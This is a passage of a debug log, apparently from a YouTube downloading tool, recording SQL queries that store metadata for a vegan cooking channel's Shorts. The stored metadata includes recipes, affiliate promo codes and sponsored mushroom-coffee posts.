GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n*PEKO PRODUCE*: Local to Metro Vancouver or Calgary? Use my code SVK4023 at pekoproduce.com/SVK4023 to save 40% off your first order of ‘peculiar’ produce, delivered right to your door!\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "Teriyaki Sauce Recipe | gluten-free 🤤", 1, nil, false, "Zw4OTC8w3Kg", "https://www.youtube.com/shorts/Zw4OTC8w3Kg", "/downloads/downloads/alec/Steamy Vegan/2024-09-23 Teriyaki Sauce Recipe | gluten-free 🤤/Teriyaki Sauce Recipe | gluten-free 🤤 [Zw4OTC8w3Kg].NA", true, ~U[2024-09-23 00:00:00Z]] 20:31:09.316 [debug] QUERY OK source="sources" db=0.5ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.318 [debug] QUERY OK source="media_items" db=1.9ms idle=7.5ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-20 00:00:00Z], 1] 20:31:09.320 [debug] QUERY OK source="media_items" db=1.4ms idle=7.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you're looking for the high protein pasta recipe of your dreams... this one is my best pasta recipe EVER! 30g protein, vegan, gluten-free, simple to make in just 30 minutes 😉\n\nRECIPE\n8 to 10 oz uncooked chickpea pasta or durum wheat pasta, cooked according to package directions\n2 to 3 small/medium onions, thinly sliced\n1 lb. grape tomatoes or roma tomatoes, chopped (you can leave grape tom. whole)\n8 oz white or brown mushrooms, sliced\n6 cloves garlic, sliced\n1 can full fat coconut milk\nsalt and pepper to taste\noil for sautéing \n8 oz dry soy curls, rehydrated\n1 tsp garlic powder\n2 tbsp nutritional yeast\n1 tbsp low sodium soy sauce or tamari\n\n1. Toss the rehyrated soy curls in the nutritional yeast, garlic powder and soy sauce and transfer to a lightly oiled, foil-lined air fryer basket. Air fry in a single layer for 18 to 20 minutes at 400F.\n2. Heat a tbsp of neutral oil (avo, sunflower) in a large saute pan over medium high heat. Add the sliced onions, stir and cover. Cook for 4 to 5 minutes until becoming soft, translucent and fragrant. Uncover and continue stirring occasionally for another 7 to 8 minutes as the onions caramelize; deglaze the pan with water as needed to unstick any stuck on bits (which adds flavour!).\n3. Meanwhile, bring a large pot of salted water to a boil and cook the spaghetti until al dente.\n4. Once the onions are more caramel in colour and and have reduced in size by about half, add in the tomatoes and continue cooking for another 5 minutes, allowing the juice to release and deglaze the pan. Add a generous pinch of salt and pepper at this time.\n5. Stir in the coconut milk and add the garlic, turn the heat down to medium and let the sauce come to a simmer. After about 5 to 7 minutes the sauce will have thickened slightly and turned into a golden, rosy colour.\n6. Drain the pasta and transfer directly into the pan of sauce. Add the air fried soy curls and toss the pasta well to coat in the rose sauce.\n7. Serve pasta into bowls, top with vegan parmesan cheese and some freshly cracked black pepper and enjoy!\n\n\n* PROMO CODES/Products I Use*\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "The creamiest, garlicky vegan pasta recipe ever 🍝 🤤", "a7d70814-564a-4976-b723-4417008e96f8", 1, [], false, "oewLiHcz3v8", "https://www.youtube.com/shorts/oewLiHcz3v8", 79, "/downloads/downloads/alec/Steamy Vegan/2024-09-20 The creamiest, garlicky vegan pasta recipe ever 🍝 🤤/The creamiest, garlicky vegan pasta recipe ever 🍝 🤤 [oewLiHcz3v8].NA", false, false, true, 2, ~U[2024-09-20 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "If you're looking for the high protein pasta recipe of your dreams... this one is my best pasta recipe EVER! 30g protein, vegan, gluten-free, simple to make in just 30 minutes 😉\n\nRECIPE\n8 to 10 oz uncooked chickpea pasta or durum wheat pasta, cooked according to package directions\n2 to 3 small/medium onions, thinly sliced\n1 lb. grape tomatoes or roma tomatoes, chopped (you can leave grape tom. whole)\n8 oz white or brown mushrooms, sliced\n6 cloves garlic, sliced\n1 can full fat coconut milk\nsalt and pepper to taste\noil for sautéing \n8 oz dry soy curls, rehydrated\n1 tsp garlic powder\n2 tbsp nutritional yeast\n1 tbsp low sodium soy sauce or tamari\n\n1. Toss the rehyrated soy curls in the nutritional yeast, garlic powder and soy sauce and transfer to a lightly oiled, foil-lined air fryer basket. Air fry in a single layer for 18 to 20 minutes at 400F.\n2. Heat a tbsp of neutral oil (avo, sunflower) in a large saute pan over medium high heat. Add the sliced onions, stir and cover. Cook for 4 to 5 minutes until becoming soft, translucent and fragrant. Uncover and continue stirring occasionally for another 7 to 8 minutes as the onions caramelize; deglaze the pan with water as needed to unstick any stuck on bits (which adds flavour!).\n3. Meanwhile, bring a large pot of salted water to a boil and cook the spaghetti until al dente.\n4. Once the onions are more caramel in colour and and have reduced in size by about half, add in the tomatoes and continue cooking for another 5 minutes, allowing the juice to release and deglaze the pan. Add a generous pinch of salt and pepper at this time.\n5. Stir in the coconut milk and add the garlic, turn the heat down to medium and let the sauce come to a simmer. After about 5 to 7 minutes the sauce will have thickened slightly and turned into a golden, rosy colour.\n6. Drain the pasta and transfer directly into the pan of sauce. Add the air fried soy curls and toss the pasta well to coat in the rose sauce.\n7. Serve pasta into bowls, top with vegan parmesan cheese and some freshly cracked black pepper and enjoy!\n\n\n* PROMO CODES/Products I Use*\n*EIGHTBILLION: Try my favourite mushroom coffee JostArriba! Save 20% off first orders with my code’ STEAMYVEGAN’ at www.eightbillion.com/steamyvegan\n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n\nINDOOR GARDEN WORKS Want to grow your own hydroponic produce indoors? Use my code 'STEAMYVEGAN' to save you $50 off your iHarvest purchase! https://igworks.com/products/iharvest... \n\n\nFIND ME IN OTHER PLACES!\nFACEBOOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\nINSTAGRAM: \u00A0\u00A0/\u00A0steamyvegankitchen\u00A0\u00A0\nTIKTOK: \u00A0\u00A0/\u00A0steamyvegan\u00A0\u00A0\n\nBLOG: https://steamyvegan.com\nCONTACT: janelle@steamyvegan.com", "The creamiest, garlicky vegan pasta recipe ever 🍝 🤤", 1, nil, false, "oewLiHcz3v8", "https://www.youtube.com/shorts/oewLiHcz3v8", "/downloads/downloads/alec/Steamy Vegan/2024-09-20 The creamiest, garlicky vegan pasta recipe ever 🍝 🤤/The creamiest, garlicky vegan pasta recipe ever 🍝 🤤 [oewLiHcz3v8].NA", true, ~U[2024-09-20 00:00:00Z]] 20:31:09.321 [debug] QUERY OK source="sources" db=0.5ms idle=7.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.323 [debug] QUERY OK source="media_items" db=1.8ms idle=6.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-09-19 00:00:00Z], 1] 20:31:09.324 [debug] QUERY OK source="media_items" db=1.0ms idle=7.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Glow up your latte ☕️ with @eightbillionplanet X @ripplefoods ✨Let’s combine my fave #adaptogeniccoffee and the best tasting plant milk to create some brain-boosting magic ✨ #ad\n\nINGREDIENTS:\n1 packet of #JostArriba\n6 oz hot water\n3 oz hot unsweetened pea beverage @ripplefoods\n\nHow to make the dreamiest, creamiest, functional latte in under 60 seconds:\n\n1. Add the JostArriba to a mug\n2. Pour about 6 oz of boiling hot water and froth with a milk frother\n3. Pour in the hot milk and froth once more… and you’re done! ✔️\n\n🍂Wanna pumpkin spice it up? 🎃 Add ½ tsp of vanilla, ½ tsp pumpkin pie spice and ½ tbsp coconut sugar before frothing 😉\n\nJostArriba is #somuchmorethancoffee! If you’re not loving how regular coffee makes you feel (ie. jitters, heart palpitations, anxiety, gut rot), here’s why you might want to give JostArriba a try:\n\n1️⃣ It tastes like coffee, NOT mushrooms\n2️⃣ It’s packed with clinically tested brain boosting 🧠 adaptogens like L-theanine, ashwagandha, lion’s mane and reishi mushrooms & coffeeberry extract\n3️⃣ It’s made with organic, fair trade Colombian coffee extract… so it tastes like delicious coffee\n4️⃣ it’s packable and really easy to make on the run. Just add hot water!\n\nNot to mention @eightbillionplanet AND @ripplefoods are both B Corp certified, aka, their businesses are a force for good! 🌍\n\nI truly can’t recommend this functional beverage enough, friends. ☕️🧠 Use my code STEAMYVEGAN to save 20% off your first order of JostArriba at www.eightbillion.com/steamyvegan 🔗 Link in bio!\n\n#steamyvegan #plantbased #yvrvegan #eightbillionplanet #jostarriba #mushroomcoffee #adaptogens #brandambassador #coffeealternative #mushroomcoffeelover #adaptogeniccoffee #plantmilk #Bcorp #ripplefoods\n\nMusic by @8thdimensions - Shining via @hellothematic", "My brain-boosting coffee | mushroom coffee latte ☕️", "dbe97a85-01e2-4e30-940b-38bc733500bd", 1, [], false, "LeZ0g7CNpZk", "https://www.youtube.com/shorts/LeZ0g7CNpZk", 80, "/downloads/downloads/alec/Steamy Vegan/2024-09-19 My brain-boosting coffee | mushroom coffee latte ☕️/My brain-boosting coffee | mushroom coffee latte ☕️ [LeZ0g7CNpZk].NA", false, false, true, 1, ~U[2024-09-19 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Glow up your latte ☕️ with @eightbillionplanet X @ripplefoods ✨Let’s combine my fave #adaptogeniccoffee and the best tasting plant milk to create some brain-boosting magic ✨ #ad\n\nINGREDIENTS:\n1 packet of #JostArriba\n6 oz hot water\n3 oz hot unsweetened pea beverage @ripplefoods\n\nHow to make the dreamiest, creamiest, functional latte in under 60 seconds:\n\n1. Add the JostArriba to a mug\n2. Pour about 6 oz of boiling hot water and froth with a milk frother\n3. Pour in the hot milk and froth once more… and you’re done! ✔️\n\n🍂Wanna pumpkin spice it up? 🎃 Add ½ tsp of vanilla, ½ tsp pumpkin pie spice and ½ tbsp coconut sugar before frothing 😉\n\nJostArriba is #somuchmorethancoffee! If you’re not loving how regular coffee makes you feel (ie. jitters, heart palpitations, anxiety, gut rot), here’s why you might want to give JostArriba a try:\n\n1️⃣ It tastes like coffee, NOT mushrooms\n2️⃣ It’s packed with clinically tested brain boosting 🧠 adaptogens like L-theanine, ashwagandha, lion’s mane and reishi mushrooms & coffeeberry extract\n3️⃣ It’s made with organic, fair trade Colombian coffee extract… so it tastes like delicious coffee\n4️⃣ it’s packable and really easy to make on the run. Just add hot water!\n\nNot to mention @eightbillionplanet AND @ripplefoods are both B Corp certified, aka, their businesses are a force for good! 🌍\n\nI truly can’t recommend this functional beverage enough, friends. ☕️🧠 Use my code STEAMYVEGAN to save 20% off your first order of JostArriba at www.eightbillion.com/steamyvegan 🔗 Link in bio!\n\n#steamyvegan #plantbased #yvrvegan #eightbillionplanet #jostarriba #mushroomcoffee #adaptogens #brandambassador #coffeealternative #mushroomcoffeelover #adaptogeniccoffee #plantmilk #Bcorp #ripplefoods\n\nMusic by @8thdimensions - Shining via @hellothematic", "My brain-boosting coffee | mushroom coffee latte ☕️", 1, nil, false, "LeZ0g7CNpZk", "https://www.youtube.com/shorts/LeZ0g7CNpZk", "/downloads/downloads/alec/Steamy Vegan/2024-09-19 My brain-boosting coffee | mushroom coffee latte ☕️/My brain-boosting coffee | mushroom coffee latte ☕️ [LeZ0g7CNpZk].NA", true, ~U[2024-09-19 00:00:00Z]] 20:31:09.325 [debug] QUERY OK source="sources" db=0.4ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.327 [debug] QUERY OK source="media_items" db=1.8ms idle=5.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-29 00:00:00Z], 1] 20:31:09.331 [debug] QUERY OK source="media_items" db=3.1ms idle=6.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Tofu scramble level 1000 🏅 If you don’t eat eggs anymore this one’s for YOU 🍳\n\nMy FAV tofu scramble recipe (double batch; feel free to cut recipe in half)\n2 14 oz blocks firm tofu\n1 tsp onion powder\n1 tsp garlic powder\n1 tsp chilli flakes\n1 tsp black salt\n½ tsp turmeric\n½ tsp smoked paprika\n¼ cup nutritional yeast\n1 tsp black pepper\n½ tbsp dried chives\n¼ tsp black garlic\n1 tbsp tahini\n1 tbsp white miso paste\n1 cup soy milk (or other unsweetened plant milk)\ntruffle powder to finish\n\nWhisk all spices, tahini, miso and milk together into a batter/sauce. Cook crumbled tofu in a pan (with or without oil) until most of the moisture is evaporated. Pour over sauce, stir and cook until most of the sauce is absorbed into the tofu. Finish with truffled powder after serving — enjoy!\n\nFollow \u202A@steamyvegan\u202C for more hot 🥵 plant based recipes! 🌱\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n\n#steamyvegan #plantbased #yvrvegan #veganfood #vegan #tofuscramble #tofulover #tofurecipe #veganeggs #breakfastlovers", "The best TOFU SCRAMBLE | how to make tofu scramble taste like EGGS 🍳", "99cbd855-4c52-48ef-b680-cd85d6363bd0", 1, [], false, "CHt6llk-YXc", "https://www.youtube.com/shorts/CHt6llk-YXc", 81, "/downloads/downloads/alec/Steamy Vegan/2024-08-29 The best TOFU SCRAMBLE | how to make tofu scramble taste like EGGS 🍳/The best TOFU SCRAMBLE | how to make tofu scramble taste like EGGS 🍳 [CHt6llk-YXc].NA", false, false, true, 1, ~U[2024-08-29 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Tofu scramble level 1000 🏅 If you don’t eat eggs anymore this one’s for YOU 🍳\n\nMy FAV tofu scramble recipe (double batch; feel free to cut recipe in half)\n2 14 oz blocks firm tofu\n1 tsp onion powder\n1 tsp garlic powder\n1 tsp chilli flakes\n1 tsp black salt\n½ tsp turmeric\n½ tsp smoked paprika\n¼ cup nutritional yeast\n1 tsp black pepper\n½ tbsp dried chives\n¼ tsp black garlic\n1 tbsp tahini\n1 tbsp white miso paste\n1 cup soy milk (or other unsweetened plant milk)\ntruffle powder to finish\n\nWhisk all spices, tahini, miso and milk together into a batter/sauce. Cook crumbled tofu in a pan (with or without oil) until most of the moisture is evaporated. Pour over sauce, stir and cook until most of the sauce is absorbed into the tofu. Finish with truffled powder after serving — enjoy!\n\nFollow \u202A@steamyvegan\u202C for more hot 🥵 plant based recipes! 🌱\n\n\n💚 PRODUCTS I LOVE USING 💚\nMy Fave Mushroom Coffee ☕️ JostArriba: Save 20% off your first order\nCode: STEAMYVEGAN\n🔗: https://www.eightbillion.com/steamyvegan\n\n💪🏼 My Fave Protein Powders\nComplement: 15% off your purchase (Available in the US and Internationally)\nCode: STEAMYVEGAN\n🔗: https://lovecomplement.com/products/c...\n\nGood Protein: 30% off your first purchase (Available only in 🇨🇦)\nCode: JANELLEC30\n🔗: https://goodprotein.ca/JANELLEC30\n\n💧My Fave Water Filtration System\nSantevia Water Filters 💦 10% off first orders\nCode: STEAMYVEGAN\n🔗: https://ca.santevia.com/STEAMYVEGAN\n\n\n#steamyvegan #plantbased #yvrvegan #veganfood #vegan #tofuscramble #tofulover #tofurecipe #veganeggs #breakfastlovers", "The best TOFU SCRAMBLE | how to make tofu scramble taste like EGGS 🍳", 1, nil, false, "CHt6llk-YXc", "https://www.youtube.com/shorts/CHt6llk-YXc", "/downloads/downloads/alec/Steamy Vegan/2024-08-29 The best TOFU SCRAMBLE | how to make tofu scramble taste like EGGS 🍳/The best TOFU SCRAMBLE | how to make tofu scramble taste like EGGS 🍳 [CHt6llk-YXc].NA", true, ~U[2024-08-29 00:00:00Z]] 20:31:09.332 [debug] QUERY OK source="sources" db=0.4ms idle=8.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.335 [debug] QUERY OK source="media_items" db=2.2ms idle=8.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-21 00:00:00Z], 1] 20:31:09.336 [debug] QUERY OK source="media_items" db=1.2ms idle=10.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["Healthier Mocha Frappuccino ☕️ feat. #JostArriba by Eightbillion 🍄\u200D🟫 #ad \n\nDitch the sugary Starbs and make this healthier, brain-boosting mocha frappe that’s rich in antioxidants, adaptogens and nootropics! 🧠 Seriously this is too GOOD! 🤤\n\nUse my code STEAMYVEGAN to save 20% off your first order of JostArriba at www.eightbillion.com/steamyvegan \n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n\n☕️ JostArriba Mocha Frappuccino 🤎\n1 serving JostArriba mushroom coffee @eightbillionplanet\n½ cup hot water\n½ cup creamy plant milk\n1 tsp vanilla extract\n1 tbsp date syrup or maple syrup\n1 scoop plant-based chocolate protein powder \u202A@goodprotein6261\u202C \n2 cups ice\n1 small batch of chocolate sauce\n1 tbsp date syrup\n1 tbsp plant milk\n1 tbsp cacao powder\n½ tbsp coconut oil, melted\nOptional: Coconut whipped cream & cacao nibs\n\n1. Mix the JostArriba with ½ cup hot water, then chill in the fridge until cool.\n2. Make chocolate syrup by whisking together the date syrup, plant milk, coconut oil and cacao powder until smooth and runny If too thick, add more plant milk\n3. Add the JostArriba, plant milk, ice, vanilla, sweetener, 1 to 2 tbsp of the chocolate sauce and protein powder to a blender and blend on high speed until thick and creamy.\n4. Swirl extra chocolate sauce inside of a chilled glass and pour the frappe inside. Top with a few dollops of coconut whipped cream, a drizzle of chocolate sauce, and a sprinkle of cacao nibs.\n\n\n#steamyvegan #plantbased #yvrvegan #veganinfluencer #eightbillionplanet #mushroomcoffee #adaptogens #vancouvervegan #frappuccino #healthyfrappuccino #mochafrappe #mochafrappuccino #adaptogeniccoffee #mushroomcoffeelover #drink #nootropics #coffeealternative #coffee #dairyfree #vegan #plantbased", "My brain-boosting mocha frappe ☕️ 🧠 (vegan, dairy free!)", "b4f8457d-dffb-4ff8-a01c-d3a3e508b86c", 1, [], false, "LT1gD66pb_Q", "https://www.youtube.com/shorts/LT1gD66pb_Q", 82, "/downloads/downloads/alec/Steamy Vegan/2024-08-21 My brain-boosting mocha frappe ☕️ 🧠 (vegan, dairy free!)/My brain-boosting mocha frappe ☕️ 🧠 (vegan, dairy free!) [LT1gD66pb_Q].NA", false, false, true, 1, ~U[2024-08-21 00:00:00Z], ~U[2026-03-22 03:31:09Z], ~U[2026-03-22 03:31:09Z], "Healthier Mocha Frappuccino ☕️ feat. #JostArriba by Eightbillion 🍄\u200D🟫 #ad \n\nDitch the sugary Starbs and make this healthier, brain-boosting mocha frappe that’s rich in antioxidants, adaptogens and nootropics! 🧠 Seriously this is too GOOD! 🤤\n\nUse my code STEAMYVEGAN to save 20% off your first order of JostArriba at www.eightbillion.com/steamyvegan \n\nGOOD PROTEIN*: Want to try my favourite vegan and gluten-free protein powder? Get 30% off your *first order at GOODPROTEIN.CA with my code: STEAMYVEGANKITCHEN30\n\n☕️ JostArriba Mocha Frappuccino 🤎\n1 serving JostArriba mushroom coffee @eightbillionplanet\n½ cup hot water\n½ cup creamy plant milk\n1 tsp vanilla extract\n1 tbsp date syrup or maple syrup\n1 scoop plant-based chocolate protein powder \u202A@goodprotein6261\u202C \n2 cups ice\n1 small batch of chocolate sauce\n1 tbsp date syrup\n1 tbsp plant milk\n1 tbsp cacao powder\n½ tbsp coconut oil, melted\nOptional: Coconut whipped cream & cacao nibs\n\n1. Mix the JostArriba with ½ cup hot water, then chill in the fridge until cool.\n2. Make chocolate syrup by whisking together the date syrup, plant milk, coconut oil and cacao powder until smooth and runny If too thick, add more plant milk\n3. Add the JostArriba, plant milk, ice, vanilla, sweetener, 1 to 2 tbsp of the chocolate sauce and protein powder to a blender and blend on high speed until thick and creamy.\n4. Swirl extra chocolate sauce inside of a chilled glass and pour the frappe inside. Top with a few dollops of coconut whipped cream, a drizzle of chocolate sauce, and a sprinkle of cacao nibs.\n\n\n#steamyvegan #plantbased #yvrvegan #veganinfluencer #eightbillionplanet #mushroomcoffee #adaptogens #vancouvervegan #frappuccino #healthyfrappuccino #mochafrappe #mochafrappuccino #adaptogeniccoffee #mushroomcoffeelover #drink #nootropics #coffeealternative #coffee #dairyfree #vegan #plantbased", "My brain-boosting mocha frappe ☕️ 🧠 (vegan, dairy free!)", 1, nil, false, "LT1gD66pb_Q", "https://www.youtube.com/shorts/LT1gD66pb_Q", "/downloads/downloads/alec/Steamy Vegan/2024-08-21 My brain-boosting mocha frappe ☕️ 🧠 (vegan, dairy free!)/My brain-boosting mocha frappe ☕️ 🧠 (vegan, dairy free!) [LT1gD66pb_Q].NA", true, ~U[2024-08-21 00:00:00Z]] 20:31:09.337 [debug] QUERY OK source="sources" db=0.5ms idle=9.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 20:31:09.339 [debug] QUERY OK source="media_items" db=1.9ms idle=7.0ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2024-08-11 00:00:00Z], 1] 20:31:09.341 [debug] QUERY OK source="media_items" db=1.0ms idle=7.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","source_id","subtitle_filepaths","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "source_id" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "uploaded_at" = ? RETURNING "id" ["If you’re looking for an anxiety-free cup of coffee, give JostArriba a try! Use my code STEAMYVEGAN to save 20% off your first order at www.eightbillion.com/steamyvegan and thank me later 😌☕️ \n\nY’all, if you love coffee ☕️ but hate the way it makes you feel 😩 (ie. anxiety, gut rot, the shakes, the sweats) perhaps it’s time to try something better! After quitting coffee for 6 months and trying all the top dog mushroom coffees, I’ve finally found one that not only tastes like coffee it doesn’t taste like mushrooms! ❌🍄\u200D🟫\n\nJostArriba by @eightbillionplanet is literally changing my life 😍 As someone who struggles with anxiety pretty badly, I can honestly say that after drinking this stuff for over 2 months, it doesn’t give me ANY anxiety, racing heart, sweats, shakes or upset stomach like regular coffee does. None. And it’s delicious, tastes just like a regular cup of coffee with no weird mushroom flavour.\n\nIt’s packed with SO MUCH clinically proven brain-boosting GOODNESS! 🤩\n✔️Organic ashwaganda\n✔️Organic Lion’s Mane\n✔️Organic Reishi Mushroom Extract\n✔️Coffeeberry Extract\n✔️L-Theanine\n✔️Organic Fair Trade Columbian Coffee Extract\n\nIf you’re looking for an anxiety-free cup of coffee, give JostArriba a 